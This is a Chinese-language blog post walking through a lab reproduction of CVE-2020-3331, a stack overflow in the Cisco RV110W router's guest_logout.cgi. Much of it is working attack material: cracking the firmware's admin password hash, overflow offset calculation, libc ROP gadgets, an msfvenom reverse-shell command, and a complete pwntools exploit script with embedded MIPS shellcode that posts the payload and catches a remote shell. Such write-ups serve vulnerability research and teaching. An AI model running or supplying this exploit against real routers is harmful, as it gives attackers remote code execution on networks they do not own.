Cisco RV110W 路由器 CVE-2020-3331 漏洞复现

Cisco RV110W 路由器 CVE-2020-3331 漏洞复现

Hexrotor

某天发现实验室里有这个路由器,是学长留下的,那这不日日都说不过去了吧

参考:

思科路由器 RV110W CVE-2020-3331 漏洞复现

Start

首先可以拿到该设备的固件,解包固件可以找到 /etc/shadow 里面存的 admin 用户的密码 hash

/sbin/rc :

使用 hashcat 可以对该 hash 进行爆破,需要事先准备一份弱密码字典,最后爆出来 密码是 Admin123 。有了密码,就能直接通过 telnet 远程连上路由,这样有 shell 比较方便复现漏洞

搜索 login.cgi 路由,以确定 web 服务器程序是哪一个

1
2
3
4
grep -rn "login.cgi" * 2>/dev/null
# 递归搜索关键字,并将stderr重定向到null
# '*' 表示搜索所有文件
# r 表示递归,n 表示显示行号

最终确定是 /sbin/httpd

分析 /sbin/httpd 程序中的 guest_logout_cgi() ,发现危险函数 sscanf()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
v5 = (const char *)get_cgi("cmac");
v7 = get_cgi("cip");
v6 = (const char *)get_cgi("cip");
for ( j = (char *)(v7 + strlen(v6) - 1); get_cgi("cip") < (unsigned int)j; *j-- = 0 )
{
v9 = *j;
if ( v9 != 10 && v9 != 13 && v9 != 32 )
break;
}
v10 = (const char *)get_cgi("cip");
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v29, 0, 0x40u);
memset(v28, 0, sizeof(v28));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) ) //MAC 和 IP 有效
{
if ( !strstr(v11, "status_guestnet.asp") ) //submit_button 包含 status_guestnet.asp
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);

这个 sscanf 是在从v11正则匹配存到 v29 v28 ,存在栈溢出漏洞

匹配规则:%表示要,%*表示不要

  • %[^;] 分号前面的所有字符都要,存在 v29
  • ;%*[^=] 分号后等号前所有的东西都不要
  • =%[^\n] 等号后所有东西都要,存在 v28

比如 aaa;bbb=ccc 就是aaaccc被提取出

其实这个匹配不重要,此时 v11 就是 submit_button= 后面的值

故分析程序路径要到达这个 sscanf 得有三个参数且满足对应的要求:

  1. cmac:MAC 地址格式
  2. cip:IP 地址格式
  3. submit_button: 包含 status_guestnet.asp

我们可以传输超长的 submit_button 项来测试是否会溢出,另外两个 cmac 和 cip 都有格式检测,唯有 submit_button 只需要包含字符串 status_guest.asp 即可

可以写一个 python 脚本来发包看看:

1
2
3
4
5
6
import requests

url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
requests.post(url, data=payload, verify=False, timeout=1)

post 上去之后,web 页面就无法访问了,为了得到更多的细节,我们可以传一个 gdbserver 上去远程调试

https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/静态编译调试程序/gdbserver

1
./gdbserver --attach 0.0.0.0:1234 515 # httpd pid

经过调试,执行到 sscanf 时,v29 会匹配到 submit_button 的值,如果后面不加更多参数的话 v28 什么都匹配不到

v29 正好是该函数栈最底端的数据,紧接 fp 和 pc,那么覆盖 pc 将非常容易

1
2
3
4
pwndbg> distance 0x7fcc839c 0x7fcc8404
0x7fcc839c->0x7fcc8404 is 0x68 bytes (0x1a words)
# len("status_guestnet.asp") == 19
# 0x68-19 = 85

所以填充长度为85

1
payload = b"status_guestnet.asp"+b'a'*85+p32(pc)

mips 没有 nx ,所以可以 shellcode in stack

如下图,函数退出时,这些寄存器都可以自由控制

首先得找到合适的 gadget, 把栈地址给寄存器,然后再跳到寄存器

不能使用程序本身的 gadget,因为程序的地址有\x00 ,发过去就截断了,所以考虑使用 libc

经过调试发现 libc 的地址是固定的,并没有随机化,固定为 0x2af98000,可以在 libc 中查找 gadget

1
2
3
4
5
6
7
# stackfind 表示查找给寄存器赋栈地址值的 gadget,同时使用 move $t9 过滤跳转寄存器指令
ROPgadget --binary libc.so --mipsrop "stackfinder"|grep 'move $t9'
#0x002CBFC # la $a0, _stdio_openlist_add_lock ; move $t9, $s1 ; jalr $t9 ; addiu $a0, $sp, 0x28
# 该 gadget 将 sp+0x28 赋给a0,然后跳转到 s1,注意这里向前提了一条是防止地址有\x00
ROPgadget --binary libc.so |grep 'move $t9, $a0'
#0x0003d050 : move $t9, $a0 ; sw $v0, 0x18($sp) ; jalr $t9 ; addiu $a0, $sp, 0x18
# 跳转到栈地址

至于控制各寄存器的栈偏移位置可以用 cyclic() cyclic_find()测算

shellcode 的功能是反弹shell,所以开一个端口进行监听,shellcode 可以用这个 ,也可以用 msf 生成,我选择用 msf

1
msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=10.10.10.100 LPORT=31337 --arch mipsle --platform linux -f py -o shellcode.py

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
io = listen(31337)
libc = 0x2af98000

jmp_s0 = libc + 0x002CBFC # la $a0, _stdio_openlist_add_lock ; move $t9, $s1 ; jalr $t9 ; addiu $a0, $sp, 0x28
jmp_a0 = libc + 0x0003D050 # move $t9, $a0 ; sw $v0, 0x18($sp) ; jalr $t9

shellcode = b"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += b"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += b"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += b"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += b"\xf8\xff\xa5\xaf\x0a\x64\x05\x3c\x0a\x0a\xa5\x34\xfc\xff\xa5\xaf"
shellcode += b"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += b"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += b"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += b"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += b"\xab\x0f\x02\x24\x0c\x09\x09\x01"

# offset for s0: 49
#s1: 53
#s2: 57

payload = b"status_guestnet.asp" +b'a'*49+p32(jmp_a0)+32*b'a'+p32(jmp_s0)+0x28*b'a'+shellcode
#payload += cyclic(100)
paramsPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"10.10.10.100"}

def attack():
try: requests.post("https://10.10.10.1/guest_logout.cgi", data=paramsPost, verify=False,timeout=1)
except: pass

thread.Thread(attack,()).run()
io.wait_for_connection()
log.success("getshell")
io.interactive()

# reg 0x0431B58
#0x431bb0

https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

其实我贴的这个文章中有一个错误,其选择的 libc gadget 0x000257A0 有一个指令为

1
sw     $v0, 0x18($sp)

$sp+0x18 正好是他写 shellcode 的地方,此时 v0 为 0,这个指令会让 shellcode 第一条指令
slti $a0, $zero, 0xFFFF 变成 nop,导致第一个 syscall:close(stdin) 实际上没有正常执行

  • 标题: Cisco RV110W 路由器 CVE-2020-3331 漏洞复现
  • 作者: Hexrotor
  • 创建于 : 2024-03-11 16:33:55
  • 更新于 : 2024-10-23 22:07:49
  • 链接: https://hexrotor.github.io/2024/03/11/RV110W-CVE-2020-3331/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
Cisco RV110W 路由器 CVE-2020-3331 漏洞复现